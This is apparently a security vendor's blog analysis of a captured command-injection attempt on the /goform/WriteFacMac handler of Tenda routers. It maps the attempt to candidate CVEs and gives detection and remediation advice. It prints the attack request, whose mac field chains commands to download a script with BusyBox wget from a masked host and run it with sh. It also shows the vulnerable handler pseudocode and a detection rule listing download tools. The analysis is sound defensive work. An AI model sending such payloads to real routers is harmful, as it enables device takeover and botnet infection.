New research How Rover caught a PAN-OS authentication bypass attempt (CVE-2025-0108) Baku · Dubai

WriteFacMac in the Wild: A Tenda Router Command‑Injection Attempt

Oct 27, 2026  /  Cypho Research Team  /  10 min read

While analyzing attack traffic as part of our Rover ML research, we identified a POST to /goform/WriteFacMac carrying a shell command chain in the mac parameter. The payload changes to /tmp, downloads a file with BusyBox wget, and runs it with sh.

Rover ML can detect command-injection attempts like this by identifying shell command chains and download-and-execute behavior inside request parameters. Confirming whether the commands ran, and assigning the exact CVE, still requires device details and follow-on evidence.

Stage What we see
Endpoint POST /goform/WriteFacMac
Input mac form parameter
Behavior Shell command chaining, remote download, shell execution
Weakness class OS command injection (CWE-78; some records use CWE-77)
Verdict High-confidence attempt; exploitation unconfirmed
CVE Unconfirmed; three candidates, depending on model and firmware

Treat the event as a potentially high-impact router compromise attempt. Confirm the device model, preserve HTTP and network telemetry, and look for outbound connections to the payload host. Do not assign a definitive CVE from the endpoint and parameter name alone.

Stage 1: The capture

The request below was supplied for analysis. The destination is masked as [sensor], and the download address as [payload host]. The original Content-Length is retained; the masked display is not a byte-for-byte replay.

POST /goform/WriteFacMac HTTP/1.1
Host: [sensor]
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Connection: close

mac=;cd /tmp;/bin/busybox wget http://[payload host]/s -O s;sh s;

The body is ordinary form data, but the value of mac is not a MAC address. It starts with a semicolon. If the handler on the device passes this value into a shell command without safe argument handling, each semicolon ends one command and starts the next, so everything after the first one is attacker-controlled.

Stage 2: Anatomy of the payload

The payload has four parts, and together they follow the classic downloader pattern.

Fragment What it does
mac=; Opens with a shell separator. Whether it works depends on how the application processes the value.
cd /tmp; Moves to the temporary directory, a usual writable location on embedded Linux.
/bin/busybox wget http://[payload host]/s -O s; Fetches a remote resource with BusyBox wget and saves it as a file named s.
sh s; Runs the downloaded file as a shell script. The trailing separator leaves room for a longer chain.

This resembles a botnet-style loader: drop a small script, run it, let it pull the real payload. The real host, its context and the content of s are not visible in the capture, so we cannot say what the script does next. A short filename is not malicious by itself. Next to download-and-execute behavior, it is a signal.

Stage 3: Under the hood, reverse-engineering the handler

We did not have a firmware image for the device in this capture, so we cannot disassemble the exact build that received it. A public researcher write-up of the same handler on a related model, Tenda F451 firmware V1.0.0.7 and V1.0.0.9, shows the root cause in decompiled form. The F451 is not one of the three CVE products below; it shows the same bug pattern in a different build.

// Decompiled pseudocode, simplified from the public write-up.
v3 = get_form_var(a1, "mac", "00:01:02:11:22:33");
doSystemCmd("cfm mac %s", v3);

Three things stand out:

  1. No validation. Nothing checks that mac looks like a MAC address, and no shell metacharacters are filtered.
  2. String formatting into a command. The value is spliced into cfm mac %s and the result is run as a command line. The reported behavior depends on a shell parsing the string.
  3. A default value. If mac is missing, the handler falls back to a fixed sample address. The attacker only has to supply a value, not a valid one.

Here is the intended command and the command that would be built from the supplied value:

intended: cfm mac 00:01:02:11:22:33
injected: cfm mac ;cd /tmp;/bin/busybox wget http://[payload host]/s -O s;sh s;

The first ; ends the cfm mac call, which now runs with an empty argument. If the string reaches a shell, the three commands that follow run separately. The F451 write-up reports execution with root privileges. We have not verified the service's privileges on the target in this capture.

The handler's name points to a factory provisioning function, written to stamp a MAC address during manufacturing, that shipped in production firmware and stayed reachable over HTTP. That is an inference from the name and the public descriptions, not something we confirmed on the target.

Checking your own firmware. If you can extract an image from a device you own:

  1. Unpack it, for example with binwalk, and locate the web server binary, usually named httpd.
  2. Search its strings for WriteFacMac, formWriteFacMac and cfm mac.
  3. Follow the cross-references from the mac read to the command call, and look for any check in between.
  4. Confirm what the command primitive does with its string: invokes a shell, or calls a program directly with separate arguments.

If unvalidated input can reach a shell command through this path, the handler is exposed to this class of attack.

What a fix looks like. Accept only the exact MAC format, six hex pairs separated by colons, and reject everything else before any command is built. Better still, stop going through a shell: pass the value as a separate argument to a direct execution call, or call the configuration API in-process. Validation addresses this input; avoiding the shell removes the shell interpretation that makes this injection possible.

Stage 4: One handler, three CVEs

Public records describe command injection in the formWriteFacMac handler behind /goform/WriteFacMac, reachable through the mac argument. The endpoint and parameter match is meaningful, but it is not unique: several Tenda products have separately documented bugs in the same handler.

CVE Product and firmware in public records Fit with this request
CVE-2024-2812 Tenda AC15; 15.03.05.18 / 15.03.20_multi Strong handler and parameter match; needs AC15 and matching firmware
CVE-2024-2707 Tenda AC10U; 15.03.06.49 Strong handler and parameter match; needs AC10U and matching firmware
CVE-2024-3009 Tenda FH1205; 2.0.0.7(775) Strong handler and parameter match; needs FH1205 and matching firmware

Why CVE-2024-2812 is plausible but not proven. It documents OS command injection in formWriteFacMac on specified AC15 firmware, and our request manipulates the same argument with shell separators. That is a mechanism-level match. The capture does not name the router model or firmware, so it cannot confirm the CVE.

A simple assignment rule. Name a specific CVE only when inventory, device fingerprinting, configuration data or forensics confirm the product and affected firmware. Without that, label the event "Tenda WriteFacMac OS command-injection attempt, CVE unconfirmed" and list the three IDs as candidates.

Scores and authentication. The CVE Program record for CVE-2024-2812 carries a CNA CVSS 3.1 score of 6.3 (Medium) with low privileges required. The captured request has no Cookie or Authorization header, so it does not show an authenticated session. Whether the handler checks authentication on a given firmware is a separate question. Validate that on an authorized lab unit.

The record also notes a public exploit and that the vendor did not respond to early disclosure. Its exploitation assessment from 2024 reads "none". That historical assessment does not establish the outcome of a later attempt, and this request cannot establish exploitation of that specific CVE.

Stage 5: What runs after the download

We never saw the file s, so everything here is expectation, not observation. Loader scripts of this kind typically check the CPU architecture, download one or more binaries built for it, run them, and delete their traces. Cypho has written about similar chains in Anatomy of a Multi-Architecture IoT Botnet and From Exposed Camera to DDoS Cannon.

One detail can work in the defender's favor. On devices where /tmp is backed by RAM, files dropped there disappear on reboot unless the script also establishes persistence elsewhere. A reboot may clear a temporary payload, but it does not fix the vulnerable handler or establish that the device is clean.

If you recover the script, handle it as hostile:

  1. Fetch it only from an isolated analysis environment, never from a production network or the affected router.
  2. Record the hash, size and fetch time before reading it.
  3. Read it as text first. Note the architecture checks, the other files it requests, and any addresses it contacts.
  4. Pivot on the host: other filenames on the same server may reveal per-architecture binaries.
  5. Feed confirmed new indicators back into the egress blocks and log searches from the checklist below.

Putting the chain together

  1. The sender posts a crafted mac value to /goform/WriteFacMac.
  2. If the handler builds a shell command from it, the semicolons split the input into separate commands.
  3. cd /tmp moves to a writable directory.
  4. BusyBox wget pulls a file named s from the attacker's host.
  5. sh s runs it with the privileges of the vulnerable service.

The request establishes that the sender attempted this chain. It does not prove that the injection succeeded, that the remote file was available, that the code ran, or that the device was compromised. Those answers live in the server response, router logs, packet captures and host-level evidence, none of which were provided.

If it did work, the impact on a network edge device can be serious: changed configuration, tampered routing or DNS, redirected traffic, additional malware, or a foothold for attacks on internal assets. Triage this as high priority, pending validation. That is an incident-response rating, not a CVSS score.

Raise the priority if the target is a confirmed affected model, the file was retrieved, or follow-on outbound traffic appears. Preserve any HTTP success response as supporting context; a successful HTTP status alone does not prove command execution. Confidence is high on attack intent and low on successful exploitation and exact CVE.

Indicators and mappings

Indicator Context
POST /goform/WriteFacMac Targeted handler
mac value starting with ; Shell separator in a field that should hold a MAC address
cd /tmp, /bin/busybox wget, sh s Download-and-execute chain
http://[payload host]/s Payload location; the real address was masked in the supplied capture
Router-originated outbound HTTP to that host Possible sign the payload was fetched

For defensive mapping, the behavior fits MITRE ATT&CK T1059, Command and Scripting Interpreter, and T1105, Ingress Tool Transfer. CWE-78 describes externally controlled input reaching an OS command without proper neutralization. Some public CVE records use CWE-77, so retain the mapping in the authoritative record for your CVE.

Detecting the attempt

Alert on POST requests to /goform/WriteFacMac where the decoded mac field contains shell separators plus command patterns. Useful signals include semicolons, cd, wget, curl, sh, busybox and references to /tmp. Decode URL-encoded data before inspecting it, and do not rely on one literal string: attackers vary whitespace, encoding, command paths, filenames and download tools.

IF method = POST
AND path = "/goform/WriteFacMac"
AND decoded form field "mac" contains shell separators
AND (contains "wget" OR "curl" OR "/bin/sh" OR "busybox")
THEN alert: router OS command-injection attempt

This is pseudocode, not a drop-in SIEM rule. Adapt it to your HTTP fields and test it against benign traffic. Do not block semicolons globally without considering application context.

What to do about it

Investigate first.

  1. Identify the asset. Vendor, exact model, firmware build, management exposure, and whether the endpoint should be reachable at all.
  2. Preserve evidence. Raw request, timestamp and time zone, source and destination IP and port, HTTP response, proxy or WAF logs, packet capture.
  3. Validate the transfer. Search firewall, DNS, proxy and flow logs for connections from the router to the host serving /s. Record bytes, status and timing.
  4. Examine the device. Where supported, check system logs, processes, temporary files, configuration changes, reboots and unexpected outbound sessions.
  5. Scope the activity. Look for repeated requests, other targeted routers, related source infrastructure, scanning and lateral movement.
  6. Record the outcome as attempted, blocked, likely successful or confirmed compromise, based on evidence and not on how the payload looks.

Contain. Restrict management access to trusted administration networks, isolate the device if operationally safe, and block the confirmed malicious destination at egress. Collect evidence before any destructive step. If compromise is confirmed or cannot be ruled out, follow your incident-response process and reflash or replace the router using trusted vendor images.

Remediate.

  • Match the model and firmware against the affected configurations in the CVE records.
  • Check for a fixed firmware release or vendor advisory. The cited records note that the vendor was contacted, but do not assume a fix exists for every model.
  • Disable remote administration when it is not needed, and monitor outbound traffic from management appliances.
  • Replace devices that no longer receive secure firmware.
  • After suspected compromise, rotate administrative credentials and exposed secrets, review configuration integrity, and rebuild from a trusted baseline.

Closing thoughts

The pattern is old: a form field that should hold a MAC address gets a shell command chain, and edge devices with exposed management handlers are the target. The request is a high-confidence command-injection attempt against the Tenda-style /goform/WriteFacMac handler. Public records for CVE-2024-2812, CVE-2024-2707 and CVE-2024-3009 describe closely matching bugs on three different products, so the exact CVE stays open until the model and firmware are known.

The lesson for defenders is to classify by evidence. An attempt is an attempt until logs, traffic or the device itself say otherwise.

Scope: this analysis rests on the supplied HTTP request and public vulnerability records. No target device, firmware image, server response, downloaded script or forensic logs were available for independent verification.

References

Unknown threats are unstoppable. Until we expose them.

Send us your company domain. We'll walk you through what's already out there about you and how Cypho would handle it, with one of our analysts on the call.

Or write to [email protected]

We'll use your details to respond to your request. See our privacy policy.